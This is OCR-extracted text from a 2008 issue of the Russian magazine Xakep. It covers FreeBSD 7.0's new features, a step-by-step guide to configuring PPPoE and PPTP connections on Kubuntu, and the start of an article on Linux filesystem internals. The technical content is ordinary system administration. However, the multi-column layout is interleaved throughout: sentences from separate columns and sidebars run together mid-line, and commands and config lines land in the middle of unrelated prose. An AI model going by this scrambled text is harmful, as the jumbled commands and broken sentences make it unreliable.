Формируем файловую систему: можно работать как с обычным разделом жесткого диска. Кстати, в новой
фре убраны все mount_* утилиты (mount_devfs, mount_ext2fs,
# newfs /dev/virstor/mydisk mount_linprocfs, mount_procfs, mount_linsysfs и т.д.). Теперь
тип файловой системы задается через параметр '-t'.
Дополнительный диск добавляется командой:
Сетевые возможности
# gvirstor add mydisk ad7 Сетевые возможности претерпели не менее глобальные изменения, что, в
общем-то, неудивительно, так как это направление всегда активно развива-
Если устройство не востребовано, его легко можно удалить, используя пара- лось во фряхе. К примеру, новая реализация системного вызова sendfile()
метр remove, а введя «gvirstor list», получим список задействованных умеет отправлять большие объемы данных и совместно с TSO и другими
устройств. дополнениями обеспечивает чуть ли не пятикратное увеличение произво-
Это далеко не все изменения, коснувшиеся дисковой подсистемы. Класс дительности, особенно в гигабитных сетях. Добавлена поддержка протокола
GEOM_MULTIPATH (gmultipath) позволяет создавать несколько точек доступа передачи с управлением потоком SCTP (Stream Control Transmission Protocol)
к диску, управление возможно при помощи утилиты gmultipath. Из Linux — пока экспериментальная, но в GENERIC по умолчанию она активирована.
был портирован код, реализующий поддержку файловой системы XFS, прав- Появление TSO (TCP/IP Segment Offload) и LRO (Large Receive Offload) дает
да, в режиме «только чтение». возможность перенести обработку TCP-соединений на сетевые карты, что
Серверная и клиентские части NFS и псевдо ФС (procfs и другие) избавились снижает нагрузку на систему и опять же повышает производительность. Надо
от глобальных блокировок, что дает заметный прирост производительности сказать, поддержка реализована не для всех драйверов.
на многопроцессорных системах. Добавим сюда возможность автоматического определения размера TCP бу-
Долгое время реализация файловой системы «промежуточного уровня» unionfs фера в зависимости от скорости соединения. Ранее размер составлял 32 Кбит,
но на гигабитных скоростях этого уже недостаточно. Кроме того, появилась
поддержка 10‑гигабитных сетевых карт. Напомню, что еще в версии 6.3 поя-
вился портированный из Open/NetBSD драйвер, позволяющий объединять

Finstall каналы в виртуальный сетевой интерфейс с возможностью обеспечения


бесперебойной работы — lagg(4):

Проект Finstall активно развивается. В нем реализованы продвину- # ifconfig ed0 up


тые функции, которых нет в sysinstall: возможность запуска с LiveCD # ifconfig vr0 up
и установка по сети. Он написан на языке Python с использованием # ifconfig lagg0 create
модуля PyGTK и построен по модульному принципу, в котором front-end # ifconfig lagg0 up laggproto lacp laggport ed0 laggport vr0
и back-end разделены. Такой подход открывает перед разработчиками # ifconfig lagg0 192.168.1.200 netmask 255.255.255.0
широкие возможности по модификации и наращиванию функционала. # route add -net 0.0.0.0 192.168.1.1 0.0.0.0
Пока его обещают включить в стандартную поставку в качестве второго
дополнительного инсталлятора с версии 7.1 (за исключением архи- В FreeBSD добавлены новые узлы Netgraph: ng_car — алгоритмы ог-
тектур, не поддерживаемых finstall (ia64, pc98 и PowerPC), в которых раничения трафика, ng_deflate и ng_pred1 — поддержка deflate и
sysinstall останется единственным средством). predictor-1 сжатия для PPP.

088 xàêåð 05 /113/ 08


>> unixoid

warning
Реалтековская звуко-
вая карта, без проблем
работающая в шестой
фре, в седьмой
версии запускаться
отказалась! Вполне
возможно, что с до-
бавлением поддержки
нового оборудования
модули для поддержки
некоторых девайсов
были убраны или от-
ключены в настройках
по умолчанию.

В тесте производительности MySQL новая фря побеждает

В ноябре 2005 года была предложена KAME реализация IPSec, времени (была разработана в рамках проекта TrustedBSD).
но в это время на основе KAME и кода OpenBSD под руководст­ Список архитектур не изменился: AMD64, i386, ia64, pc98 и
вом Сема Леффлера уже проводились работы по адаптации PowerPC, однако сейчас ведутся работы по портированию
IPSec к многопроцессорному окружению. Некоторое время на ARM и UltraSparc T1, поэтому возможно когда-нибудь
FAST_IPSEC был доступен в виде патчей. Теперь KAME офи- мы увидим FreeBSD на наладонных устройствах и Sun
циально убран, а в FAST_IPSEC добавлена поддержка IPv6 и Niagara.
аппаратного ускорения шифрования. Скачать продукт можно как через Bittorrent (torrents.freebsd. dvd
Разработчики учли все возрастающую популярность беспро- org:8080), так и через традиционный FTP (ftp://ftp.freebsd. • В «Руководстве
водных сетей. В этом направлении была проделана неплохая org/pub/FreeBSD). Состав образов не изменился: первый FreeBSD», которое
работа, и в результате система получила полную поддержку — загрузочный, остальные — с пакетами, плюс отдельный образ можно прочитать на
семейства стандартов 802.11 (Wi-Fi и WiMax). с документацией. сайте проекта (www.
Полностью отказались от утилиты wicontrol, которая при- Процесс установки не претерпел глобальных изменений, это freebsd.org/doc), ты
менялась для настройки работы беспроводных интерфейсов, все тот же старый знакомый sysinstall. Хотя, признаться, ожидал найдешь ответы на
— теперь для этих целей предложено использовать более увидеть новый инсталлятор finstall (wiki.freebsd.org/finstall), подавляющее коли-
привычный ifconfig. имеющий более дружелюбный графический интерфейс. Под- чество вопросов по
Для sysctl появились новые переменные, позволяющие робнее о нем — смотри на врезке. системе. Причем,
на лету управлять параметрами различных подсистем ядра. Усовершенствована подсистема Linuxulator, которая поз- оно уже давно пере-
Например, kern.conftxt позволяет просмотреть содержи- воляет запускать бинарные файлы Linux без модификации ведено на русский
мое файла конфигурации для текущей сборки ядра, net.inet. и потерь на трансляцию системных вызовов одной ОС в язык.
icmp.reply_from_interface включает отправку ICMP отве- другую. Осуществлен переход на Linuх ядро 2.6.16. Однако
тов с IP, на который пришел пакет, а в kern.hostuuid записан по умолчанию эта возможность не включена, так как являет- • Интересные осо-
уникальный идентификатор узла UUID. ся экспериментальной (по дефолту используется эмуляция бенности поддержки
Теперь стало возможным без наложения дополнительных пат- 2.4). Но включить просто, для этого устанавливаем значение сети в FreeBSD
чей динамически вычислить размер TCP буферов в зависимости sysctl переменной compat.linux.osrelease в «2.6.16». можно узнать из
от типа сетевой активности. Управление осуществляется через В утилите freebsd-update, обеспечивающей все обновления интервью с разра-
ряд переменных sysctl, начинающихся с net.inet.tcp. безопасности за счет установки двоичных пакетов без необходи- ботчиками на www.
sendbuf_* и net.inet.tcp.recvbuf_*: мости пересборки системы, появилась дополнительная команда onlamp.com.
upgrade (обновляет систему до последнего релиза).
net.inet.tcp.sendbuf_auto=1 К сожалению, порт Dtrace, который позволяет «увидеть» процес- • Информацию по
net.inet.tcp.recvbuf_auto=1 сы, происходящие внутри операционной системы и пользо- всем настройкам
вательских приложений, еще нельзя отнести к стабильным и ZFS можно получить
Пространство пользователя (aka userland) полностью работоспособным. на странице WiKi
Первое, что бросается в глаза в новой версии, это полное — wiki.freebsd.
обновление прикладного программного обеспечения. Особо Заключение org/ZFS.
можно отметить: KDE 3.5.8, GNOME 2.20.2, X.Org 7.3, GCC Даже из такого беглого обзора видно, что нововведения в вер-
4.2.1, BIND 9.4.2, Sendmail 8.14.2, OpenSSL 0.9.8e. Причем, в сии 7.0 носят не косметический, а глобальный характер. Радует
GCC по умолчанию включена защита от атак, направленных улучшенная поддержка многопроцессорных систем на всех
на переполнение стека (Stack-Smashing Protector). уровнях ОС и увеличение списка поддерживаемых устройств и
До версии 1.0 обновлена библиотека OpenBSM (Open Source ФС. Администраторы вместе с пользователями оценили новинку
Basic Security Module), реализующая Sun BSM — подсистему и активно переходят на FreeBSD седьмой ветки. Надеюсь,
аудита системных событий, отслеживающую их в реальном теперь и ты присоединишься к ним. z

xàêåð 05 /113/ 08
089
>> unixoid

Юрий «bober» Раззоренов


/ [email protected] /

Прорыв
сквозь PPP
Настраиваем PPPoE и PPTP подключения в Linux

C появлением высокоскоростных соединений широкое распространение


получили подключения по протоколам PPPoE и PPTP. Как правило, докумен-
тация на сайтах интернет-провайдеров заточена под Windows. Что делать
брату-линуксоиду? Не сидеть же, сложа руки. Попробуем разобраться, как
настроить клиентский PPPoE/PPTP, взяв в качестве примера дистрибутив
KUbuntu.

Настройка PPPoE соединения # Статический IP устанавливается так:


PPPoE (Point-to-Point Protocol over Ethernet) — протокол передачи фрей- iface eth1 inet static
мов PPP через Ethernet соединения. Используется для подключения с address 192.168.0.25
традиционной связкой логин/пароль и поэтому популярен в xDSL и тому network 192.168.0.0
подобных сервисах, где нет встроенных механизмов аутентификации gateway 192.168.0.1
пользователя. netmask 255.255.255.0
В современных дистрибутивах есть все, что нужно для работы с ним (учи- mtu 1492
тывая, что в ядре этот протокол поддерживается, начиная с версии 2.3).
Однако командой «grep PPP /usr/src/linux/.config» все равно В файле /etc/resolv.conf обязательно указываем адрес хотя бы одно-
стоит проверить параметры ядра, относящиеся к PPP. го DNS сервера (а лучше двух):
Подключение по PPPoE реализовано подобно обычному PPP соединению с
использованием демона pppd — так что опыт модемных разборок лишним $ sudo mcedit /etc/resolv.conf
не будет. Чтобы установить PPPoE соединение, потребуется наличие в nameserver 111.33.44.55
системе следующих пакетов: ppp, pppoe и pppoeconf. По умолчанию в nameserver 222.44.55.66
KUbuntu они уже инсталлированы:
После того, как все готово, переходим к настройке клиентского PPPoE
$ dpkg -s pppoeconf соединения. Вариантов опять же несколько. Самый простой — ручное ре-
Package: pppoeconf дактирование двух файлов: /etc/ppp/pap-secrets (либо chap-secrets,
Status: install ok installed если провайдер использует CHAP аутентификацию; формат *-secrets
файлов одинаков) и /etc/ppp/peers/dsl-provider. Имя второго ис-
В RPM дистрибутивах нужно ввести «rpm -qa | grep ppp». Следующим пользуется в качестве аргумента команды pon и может быть выбрано любое.
шагом настраиваем Ethernet интерфейс или ставим драйвер для ADSL мо- В состав (K)Ubuntu для удобства включена утилита pppoeconf. Запускаем
дема (иначе дальнейшие действия не имеют смысла). Настроить Ethernet «sudo pppoeconf» — появится псевдографическое меню настройки.
можно, зайдя в «Системные настройки  Настройка сети». Для ручной Следуй указаниям утилиты, в большинстве случаев просто подтверждая
настройки открываем файл /etc/network/interfaces. предлагаемые по умолчанию параметры. Утилита попытается найти подхо-
дящий Ethernet интерфейс, используя пакеты PADI (PPPoE Active Discovery
$ sudo mcedit /etc/network/interfaces Initiation), с помощью которых идет поиск активных концентраторов досту-
# Если IP-адрес назначается динамически с помощью DHCP, па. Далее pppoeconf сохраняет оригинальный файл dsl-provider. По-
прописываем: сле чего вводим логин и пароль, разрешаем, если нужно, автоматическое
iface eth0 inet dhcp соединение при загрузке системы… вот и все. Для подключения предлага-

090 xàêåð 05 /113/ 08


>> unixoid

hide-password
#lcp-echo-interval 30
#lcp-echo-failure 4
noauth
# Восстановить связь в случае разрыва
persist
# Использовать максимальный размер передаваемого пакета
в 1492 байт
mtu 1492
usepeerdns

В принципе, все параметры заданы, — но не указано, с кем и чем соеди-


няться, а так как интерфейсов у меня несколько, возникает путаница. Чтобы
это исправить, добавим следующую строку:

pty "/usr/sbin/pppoe -I eth0 -T 80 -m 1452"

Настройки pptpconfig Заглянув после работы pppoeconf в файл /etc/network/interfaces,


можно заметить появление новых строк:

ется использовать скрипт /usr/bin/pon. Если заглянуть внутрь, можно auto dsl-provider
увидеть, что, кроме проверки наличия некоторых файлов, фактически iface dsl-provider inet ppp
выполняется всего одна команда «/usr/sbin/pppd call $PROVIDER». provider dsl-provider
В общем виде вызов pon выглядит так:
# added by pppoeconf
pon [OPTIONS] [provider] [arguments] auto eth0
iface eth0 inet manual
В качестве аргумента provider указывается файл из каталога /etc/ppp/ pre-up /sbin/ifconfig eth0 up
peers. По умолчанию используется provider (это и есть переменная
$PROVIDER). В нашем случае набираем: Если при загрузке системы не требуется автоматическое подключение по
PPPoE, просто комментируем эти строки. Повторяем попытку соединения.
$ pon dsl-provider Для контроля можно ввести команду:

К сожалению, везет не всегда, и порой (например, при наличии нескольких $ ifconfig ppp0
интерфейсов) приходится забуриваться в конфиги. Но ничего сложного в ppp0 Link encap:Point-to-Point Protocol
этом нет. Если подключиться можно только через sudo, то не надо выдумы- inet addr:157.33.34.178 P-t-P:192.168.101.1
вать и мудрить, просто добавь себя в нужную группу (в Ubuntu и некоторых Mask:255.255.255.255
других дистрибутивах для этих целей используется dip). UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1480
Metric:1
Конфиги PPPoE RX packets:283 errors:0 dropped:0 overruns:0
Начнем с самого простого файла /etc/ppp/pap-secrets (или chap- frame:0
secrets). Открыв его, ты найдешь свои логин и пароль для соединения в TX packets:284 errors:0 dropped:0 overruns:0
таком виде (результат работы pppoeconf): carrier:0
collisions:0 txqueuelen:3
user * password RX bytes:3004 (2.9 KiB) TX bytes:2744 (2.6 KiB)

Здесь достаточно проверить правильность данных или вписать стро- За ходом подключения можно следить в системном журнале /var/log/
ку самому, если pppoeconf не использовался. Параметры соединения messages. Для этого в другой консоли перед началом подключения
описываются в /etc/ppp/peers/dsl-provider. У меня после работы вводим:
pppoeconf он принял следующий вид:
$ tail — f /var/log/messages
$ sudo mcedit /etc/ppp/peers/dsl-provider
noipdefault Возможна ситуация, когда адрес есть, но доступ к ресурсам получить не
# В таблице маршрутизации сделать данное соединение мар- удается. В этом случае, введя «route -n», убедись, что маршрутизация
шрутом по умолчанию настроена правильно. Маршрут, помеченный как default, должен пока-
defaultroute зывать на интерфейс ppp0. Если это не так, вводим «route add default
replacedefaultroute ppp0» и проверяем: работает?

xàêåð 05 /113/ 08
091
>> unixoid

Окно tkpppoe из комплекта RP-PPPOE Настройки pppoeconf

Настройка нескольких соединений свой конфиг options и подключать его при помощи параметра file. Этот
Бывает, что пользователям требуется работать сразу с несколькими вариант рассмотрим чуть дальше, при настройке PPTP.
серверами, использующими PAP (например, PPPoE и резервное модемное
соединение, VPN и другие). Если логин для каждого сервиса отличается, Пакет rp-pppoe
PPP, как правило, способен сам разрулить ситуацию. Но многие предпо- В дистрибутивах вроде Mandriva, VectorLinux и других для настройки PPPoE
читают использовать один и тот же логин для всех серверов, к которым предлагается более простой вариант с использованием пакета RP-PPPoE.
подключаются (надеюсь, хоть пароли разные). Это может вызвать траблы, В репозитарии Ubuntu он отсутствует, но его можно установить самостоя-
поскольку демон должен правильно выбрать нужную строку из файла pap- тельно. Тем более, что процесс сложностей не вызывает.
secrets для аутентификации. Ему нужно помочь. Для начала в файле Качаем последнюю версию по ссылке на странице www.roaringpenguin.
/etc/ppp/pap-secrets знак астериска '*' заменяем условным именем com/products/pppoe. Распаковывам tar.gz-архив, заходим внутрь каталога
сервера. Примерно так: и вводим: «./go-gui» или просто «./go», если первая команда откажется
работать. Далее отвечаем на стандартные вопросы: логин, интерфейс,
user server1 password1 активация при загрузке, DNS, пароль, настройки межсетевого экрана. В
user server2 password2 последнем случае предлагается на выбор три варианта: NONE (отключен),
STANDALONE (применяем, когда компьютер один) и MASQUERADE (когда
Создаем два файла, взяв за основу dsl-provider. В каждом из них компьютер используется в качестве сетевого шлюза). По окончании работы
при помощи параметров name и remotename задаем логин и сервер для скрипта выводится итог:
подключения.
** Summary of what you entered **
name user Ethernet Interface: eth1
remotename server1 User name: user
Activate-on-demand: No
Теперь просто указываем нужный файл в качестве аргумента pon. Это не Primary DNS: 111.33.44.55
единственный способ. Можно, как советуют man и HOWTO, использовать Secondary DNS: 222.44.55.66
Firewalling: STANDALONE

На этом, собственно, установка закончена. После этого в системе можно

Магия MTU и MSS обнаружить несколько скриптов и утилит: pppoe-relay, pppoe-setup,


pppoe-start, pppoe-stop, pppoe-connect, pppoe-server, pppoe-
sniff, pppoe-status, pppoe-wrapper и tkpppoe. Кстати, до версии
Параметр MTU (Maximum Transmit Unit) отвечает за максимальный 3.6 имена скриптов начинались с приставки adsl-, поэтому в более ранних
размер передаваемого пакета. Если размер пакета будет больше, чем дистрибутивах следует искать именно их. Да и старые HOWTO тоже нужно
может пропустить маршрутизатор, то он будет разделен, что сразу читать с этой поправкой.
скажется на скорости и пропускной способности. Если параметр не Чтобы инициировать соединение, достаточно набрать в консоли pppoe-
указать принудительно, значение будет выставлено автоматически start; для останова — pppoe-stop; чтобы просмотреть статистику
и, увы, не всегда рационально. Рассчитывать его следует так. Макси- — pppoe-status. А снова запустить конфигурационный скрипт можно с
мальный размер фрейма Ethernet — 1518 байт, из них 14 — заголовок помощью pppoe-setup. Для удобства настройки и подключения предла-
и 4 — контроль (то есть полезная нагрузка равна 1500 байт). Далее гается свой графический фронтэнд — tkpppoe.
PPPoE отбирает еще 6 байт, а PPP — 2. В итоге значение MTU для
PPPoE должно составлять не более 1492. Подключаемся по PPTP
При установлении TCP соединения каждая сторона выставляет Настройка VPN подключения по протоколу PPTP (Point-to-Point Tunneling
параметр Maximum Segment Size (MSS), определяющий максималь- Protocol) во многом напоминает подключение по PPPoE. До недавнего вре-
ный размер TCP сегмента на всем пути. По умолчанию его значение мени, из-за опасения лицензионных преследований по поводу протокола
берется, как MTU для исходящего интерфейса минус размер заголов- MPPE, в Linux отсутствовала нормальная поддержка PPTP, что вызывало
ков TCP и IP (40). Исходя из этого, максимальное значение MSS для проблемы и требовало лишних телодвижений. Полная поддержка этого
Ethernet будет равняться 1460, а для PPPoE — 1452. протокола появилась, начиная с версии 2.6.13. Официальная была начата с

092 xàêåð 05 /113/ 08


>> unixoid

info
• В ядро Linux 2.6.15
включен модуль шиф-
рования PPP MPPE
для подключения к
PPTP серверам.

Параметры ядра • Пользователи


Mandriva могут найти
настройки PPPoE
2.6.14, а в 2.6.15 уже включен модуль шифрования PPP MPPE. refuse-eap и PPTP в Центре
Сначала, чтобы было понятней, разберем ручную настройку, а #refuse-chap Управления Mandriva
потом посмотрим на GUI. Для поиска в репозитарии пакетов, refuse-mschap Linux, выбрав «Сеть
относящихся к pptp, вводим: persist и Интернет» 
# Количество попыток подключения в случае об- «Настройка нового
$ sudo apt-cache search pptp рыва соединения сетевого интерфейса
pptp-linux — Point-to-Point Tunneling Protocol maxfail 10 (LAN, ISDN, ADSL)».
(PPTP) Client defaultroute
knet — The Knet is a frontend to pppd. replacedefaultroute • Не забывай сохра-
kvpnc — vpn clients frontend for KDE нять файлы из /etc/ppp
network-manager-pptp — network management В файл /etc/ppp/chap-secrets заносим логин и пароль: при обновлении или
framework (PPTP plugin) установке другого
user pptp password * дистрибутива.
Клиентскую часть обеспечивает проект PPTP Client
(pptpclient.sourceforge.net). Поддерживается не только Если требуется войти в домен, запись должна выглядеть так: • В Ubuntu и некото-
Linux, но и *BSD. Этот клиент совместим со всеми серверами, рых других дистри-
работающими по протоколу PPTP: Windows VPN, Linux PopTop, domain\\user pptp password * бутивах для выхода
Cisco PIX и некоторыми другими. Клиент не обновлялся уже в Сеть пользователь
около двух лет, поэтому можно без тени сомнения устанавли- И создаем описание подключения, аналогично тому, как должен входить в
вать то, что есть в репозитарии. делали для PPPoE: группу dip.

$ sudo apt-get install pptp-linux $ sudo mcedit /etc/ppp/peers/pptp • Настройку GNU/


# Указываем адрес PPTP сервера Linux для работы
В качестве рекомендуемых пакетов предлагался «kernel- pty "pptp 10.100.0.1 --nolaunchpppd" с PPPoE и VPN мы
patch-mppe». Надо сказать, что в моем случае все работало connect /bin/true рассматриваем на
и без него, но при появлении проблем вспомни о нем. Имеет name user примере дистрибутива
смысл поставить самое последнее ядро, где этот протокол под- # Идентификатор из второго поля в chap-secrets KUbuntu. Но учитывая,
держивается изначально. remotename pptp что база у всех одна,
Отмечу, кстати, предусмотрительность ребят из Canonical. Все # Подключаем файл настроек сказанное будет дейст­
нужные пакеты для подключения по PPTP находятся на CD-диске file /etc/ppp/options.pptp вительно и в любом
(который тебя и попросят вставить в привод после ввода коман- #require-mppe-128 другом дистрибутиве.
ды). Поэтому если PPTP — это единственная связь с внешним require-mppe-40
миром, добывать нужные пакеты окольными путями не придется. ipparam pptp • О настройке PPPoE
Если диск в кэше отсутствует, добавь его, набрав команду «sudo в OpenBSD можно
apt-cdrom add». По запросу вставь CD и нажми <Enter>. Настройки готовы. Теперь подключаемся: прочитать в статье
Теперь приступаем к редактированию конфигурационного «Нарезаем трафик
файла: $ pon pptp ломтиками», опуб-
ликованной в ][акере
$ sudo mcedit /etc/ppp/options.pptp И смотрим вывод команды ifconfig. Если соединение уста- #087.
lock noauth nobsdcomp nodeflate новлено и адрес получен, то считаем, что настройка прошла
# Отключаем ненужные проверки успешно. Но обычно PPTP требует больше возни, чем PPPoE. В
refuse-pap случае неудачи выполняем:

xàêåð 05 /113/ 08
093
>> unixoid

KVpnc — удобная программа для работы с VPN разных типов

отключаем избыточные методы аутентификации. Если


хочешь, в Routing укажи DNS сервер и адреса, которые
Настройки PPPoE и PPTP в Центре Управления Mandriva могут использовать это VPN соединение.
Проект PPTP Client предлагает утилиту pptpconfig для на-
стройки подключения. В репозитарии Ubuntu она отсутствует.
$ pon pptp debug dump logfd 2 nodetach Чтобы установить ее, добавь информацию о новом репозита-
рии в /etc/apt/sources.list:
Как результат, получим все параметры соединения и лог оши-
бок. Если есть необходимость в автоматическом подключении deb http://quozl.netrek.org/pptp/pptpconfig
при загрузке системы, правим /etc/network/interfaces: ./
dvd
Подробно прото- $ sudo mcedit /etc/network/interfaces Обновляем список пакетов, устанавливаем и запускаем:
кол PPPoE описан auto tunnel
в RFC 2516. Кроме iface tunnel inet ppp $ sudo apt-get update
того, полезной будет provider pptp $ sudo apt-get install pptpconfig
информация на WiKi $ sudo pptpconfig
странице ru.wikipedia. Давим батоны
org/wiki/PPPoE. Для настройки и работы ты предпочитаешь программы с Появится окно программы, внизу которого расположено
графическим интерфейсом? Тогда слушай. Пользователи пять вкладок. В Server указываем логин, пароль, название
Mandriva могут найти настройки PPPoE и PPTP в Центре Управ- соединения и адрес сервера. Перейдя в Routing, можно
ления Mandriva Linux, выбрав «Сеть и Интернет»  «Настрой- изменить таблицу маршрутов и, например, разрешить
ка нового сетевого интерфейса (LAN, ISDN, ADSL)». Учти, что подключаться к нашему туннелю другим компьютерам. По
настройка PPTP находится в меню DSL вместе с PPPoE, а не в умолчанию берутся системные настройки DNS серверов,
VPN, где ее обычно начинают искать. переопределить их для туннеля можно во вкладке DNS. В
В KUbuntu устанавливаем пакеты: Encryption включаем (Require) используемый провайде-
ром алгоритм шифрования. И, наконец, в Miscellaneous
$ sudo apt-get install network-manager-pptp можно указать автоматическое подключение при запуске
kvpnc программы, переподключение при потере соединения и
ввести дополнительные параметры для pppd и pptp. По
Первый пакет — это модуль к KNetworkManager. Признаюсь, окончании работы программа создаст все нужные файлы, о
никогда его не любил и не юзал, наверное, сказывается долгое которых говорилось выше. Выбираем нужное соединение и
сидение в слаке, но тебе, может, он и понравится. Чтобы уви- нажимаем Start.
деть настройки VPN, после установки пакета нужно перезапус- Программа KVpnc (home.gna.org/kvpnc) является удоб-
тить NetworkManager: ным фронтэндом для многих типов VPN. Она поддержи-
вает Cisco VPN, IPSec, PPTP, OpenVPN, L2TP и Vtun. Все
$ sudo /etc/dbus-1/event.d/25NetworkManager настройки выполняются при помощи простого мастера,
restart вызываемого через «Profile  New Profile (Wizard)»,
* Restarting network connection manager который в пошаговом режиме поможет создать новое
NetworkManager [ OK ] подключение. Так, на шаге «Select the type of your VPN»
$ sudo /etc/dbus-1/event.d/26NetworkManagerDi выбираем тип VPN (в нашем случае — Microsoft PPTP). На
spatcher restart следующем шаге отмечаем дополнительные параметры
* Restarting network events dispatcher PPTP, вводим логин и пароль. Выбираем из раскрываю-
NetworkManagerDispatcher [ OK ] щегося списка сетевое устройство, с помощью которого
должно производиться подключение. В окне «Network
Теперь все просто. Выбираем «Параметры  Configure» и route options» указываем: «Заменять маршрут по умол-
нажимаем «Добавить». В появившемся окне вводим имя чанию».
соединения (также будет именем файла в peers), вводим Вот, собственно, и все по настройкам PPPoE и PPTP в совре-
IP-адрес или имя сервера. Во вкладке Authentication менных дистрибутивах. Удачи! z

094 xàêåð 05 /113/ 08


>> unixoid

Денис Колисниченко
/ [email protected], www.dkws.org.ua /

Во власти
суперблока
Файловая система Linux в подробностях

Чтобы разобраться, как работает ОС Linux, прежде всего, нужно понять,


как она управляет файлами. Поэтому на повестке дня у нас изучение архи-
тектуры файловой системы Linux. А полученные теоретические знания мы
разбавим практическими примерами. Что называется, на каждый день!

Архитектура файловой системы VFS — это виртуальная файловая система. Именно она позволяет добиться
Прежде, чем приступить к рассмотрению архитектуры файловой системы существующего сейчас уровня абстракции. Каждая файловая система
Linux, нужно ответить на вопрос, что такое файловая система (ФС). В при- имеет свои особенности, и если бы не было VFS, то пришлось бы разрабаты-
роде можно встретить различные определения, например, ФС — это способ вать разные версии системных вызовов для каждого типа поддерживаемой
представления информации на носителе данных. Или ФС — часть опера- файловой системы (например, open_ext3() — для открытия файла, на-
ционной системы, обеспечивающая выполнение операций над файлами. ходящегося на файловой системе ext3, или open_vfat() — для ФС VFAT).
Но более точным будет объединить эти понятия. Ведь, грубо говоря, любая Другими словами, VFS делает системные вызовы независимыми от типа
файловая система состоит, минимум, из двух уровней — уровня представле- используемой файловой системы.
ния данных и набора системных вызовов для работы с данными.
Зачастую ОС может работать с различными файловыми системами, на- Копаем глубже
пример, с основной файловой системой (используется на жестком диске) Рисунок 1 — это общее представление о файловой системе Linux. Настало
и с файловой системой CD — ISO9660. Поэтому ОС должна обеспечить время копнуть глубже. Рассмотрим логическую структуру файловой системы
приложениям стандартный интерфейс, позволяющий обращаться к файлам ext3. Физически жесткий диск разбит на секторы размером 512 байт. Первый
на разных ФС прозрачно. Программист не должен каждый раз вникать в сектор дискового раздела в любой файловой системе считается загрузочной
тонкости файловой системы заново. Например, в Linux для открытия файла областью. В первичном разделе эта область содержит загрузочную запись
используется системный вызов open(). Программа просто вызывает — фрагмент кода, который инициирует процесс загрузки операционной сис-
open(), передав ему имя файла, а на какой ФС расположен этот файл — не темы при запуске. На других разделах область не используется. Остальные
суть важно. секторы объединены в логические блоки размером 1, 2 или 4 Кб. Логический
Теперь посмотри на рисунок 1. На нем изображено все сказанное выше. блок есть наименьшая адресуемая порция данных: данные каждого файла
Зеленым отмечен пользовательский уровень, а желтым — уровень ядра. занимают целое число блоков. Блоки, в свою очередь, объединяются в
Приложение может использовать функции glibc (библиотека GNU C) или группы. Группы блоков и блоки внутри группы нумеруются последовательно,
же напрямую обратиться к системным вызовам ядра — тут уж как будет угод- начиная с «1».
но программисту. Использовать функции glibc удобнее, но, вызывая не- Раздел диска, на котором сформирована файловая система ext3, может
посредственно системные вызовы (например, open(), read(), write(), быть представлен такой схемой (рис. 2).
close()), можно немного повысить производительность приложения Суперблок служит начальной точкой файловой системы и хранит всю ин-
— ведь ты минуешь glibc, которая использует те же системные вызовы. формацию о ней. Он имеет размер 1024 байта и располагается по смеще-

096 xàêåð 05 /113/ 08


>> unixoid
int s_need_sync_fs;
...
}

Битовой картой блоков (block bitmap) называется структура,


каждый бит которой показывает, отведен ли такой же по счету
блок какому-либо файлу. Значение «1» показывает, что блок info
занят. Эта карта служит для поиска свободных блоков в тех • VFS действует как
случаях, когда надо выделить место под файл. Битовая карта корневой уровень
индексных дескрипторов выполняет аналогичную функцию по интерфейса файловой
отношению к таблице индексных дескрипторов: показывает, системы. VFS следит
какие именно дескрипторы заняты. за всеми поддержи-
Каждому файлу соответствует один и только один индексный ваемыми и смонтиро-
дескриптор (inode), который идентифицируется своим поряд- ванными на данный
ковым номером — индексом файла. В индексном дескрипторе момент файловыми
хранятся метаданные файла. Среди них — все атрибуты файла, системами.
кроме его имени, и указатель на данные файла.
Для обычного файла или каталога этот указатель представляет • Узел inode хранит
собой массив из пятнадцати адресов блоков. Первые двенад­ в себе все метадан-
цать адресов являются прямыми ссылками на номера блоков, ные для управления
в которых хранятся данные файла. Если данные не помеща- объектами файловой
ются в двенадцать блоков, то включается механизм косвен- системы.
ной адресации. Следующий адрес в этом массиве является
косвенной ссылкой, то есть адресом блока, в котором хранится • Cтруктуры dentry
список адресов следующих блоков с данными из этого файла. используются для
Сколько блоков с данными можно так адресовать? Адрес блока осуществления пре-
занимает 4 байта, блок, как уже сказано, имеет размеры 1, 2 образования между
или 4 Кб. Значит, путем косвенной адресации можно размес- названиями и узлами
тить 256 — 1024 блока. inode, для чего сущест­
А если файл еще длиннее? Следующий адрес в массиве- вует кэш директорий,
указателе указывает на блок двойной косвенной адресации в котором хранятся
(double indirect block). Блок содержит список адресов блоков, последние исполь-
которые, в свою очередь, содержат списки адресов следующих зованные записи, а
блоков данных. также отношения меж-
Наконец, последний адрес в массиве-указателе задает адрес блока ду папками и файлами
нию 1024 байта от начала файловой системы. В каждой группе тройной косвенной адресации, то есть блока со списком адресов для обхода файловых
блоков он дублируется, что позволяет быстро восстановить его блоков, которые являются блоками двойной косвенной адресации! систем.
после сбоев. Пока остается непонятным, где находится имя файла, если
В суперблоке определяется размер файловой системы, его нет ни среди данных файла, ни среди метаданных. В *nix- • Буферный кэш
максимальное число файлов в разделе, объем свободного подобных системах имя файла — атрибут не самого файла, буферизирует запросы
пространства — и содержится информация о том, где искать а файловой системы, понимаемой как логическая структура между файловыми
незанятые участки. При запуске ОС суперблок считывается в каталогов. Имя файла хранится только в каталоге, к которому системами и блочны-
память, и все изменения файловой системы вначале находят файл приписан, и больше нигде. Следствия этого любопытны. ми устройствами.
отображение в копии суперблока (на диск записываются Во-первых, одному индексному дескриптору может соответство-
только периодически). Это позволяет повысить производи- вать любое количество имен, приписанных к разным каталогам, • Дубликаты супер-
тельность системы, так как многие пользователи и процессы и все они являются настоящими. Количество имен (жестких блока используются
постоянно обновляют файлы. С другой стороны, при останове ссылок) учитывается в индексном дескрипторе. Именно это при восстановлении
системы суперблок обязательно должен быть записан на диск, количество можно увидеть по команде «ls — l». Во-вторых, уда- файловой системы
и это не дает вырубить компьютер простым выключением ление файла означает простое удаление записи о нем из данных после сбоев.
питания. Иначе при следующей загрузке информация, запи- каталога и уменьшение на единицу счетчика ссылок. В-третьих,
санная в суперблоке, окажется не соответствующей реальному сопоставить имя можно только номеру индексного дескрипто- • В статье «Через
состоянию файловой системы. ра внутри одной и той же файловой системы. Именно поэтому революцию к эволю-
После суперблока следует описание (дескриптор) группы бло- нельзя создать жесткую ссылку в другую файловую систему ции», опубликованной
ков. Хранящаяся в нем информация позволяет найти битовые (символическую — можно, у нее другой механизм хранения). в журнале ][акер #095,
